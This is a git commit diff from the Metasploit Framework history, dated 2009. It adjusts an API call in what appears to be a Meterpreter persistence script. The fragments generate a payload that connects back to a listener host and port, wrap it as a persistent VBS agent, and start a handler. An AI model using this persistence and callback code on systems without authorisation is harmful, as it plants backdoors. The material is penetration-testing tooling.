Fixes #456. Matches the new API

git-svn-id: file:///home/svn/framework3/trunk@7337 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2009-11-03 19:57:52 +00:00
parent 86bcabc411
commit 83e9cf8472
1 changed files with 2 additions and 3 deletions

View File

@ -60,7 +60,7 @@ pay.datastore['LHOST'] = rhost
pay.datastore['LPORT'] = rport
raw = pay.generate
vbs = ::Msf::Util::EXE.to_win32pe_vbs(client.framework, raw, true, delay)
vbs = ::Msf::Util::EXE.to_win32pe_vbs(client.framework, raw, {:persist => true, :delay => 5})
print_status("Persistent agent script is #{vbs.length} bytes long")
@ -91,7 +91,7 @@ if(autoconn)
mul.datastore['LHOST'] = rhost
mul.datastore['LPORT'] = rport
mul.datastore['ExitOnSession'] = false
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
@ -113,4 +113,3 @@ if(install)
end
end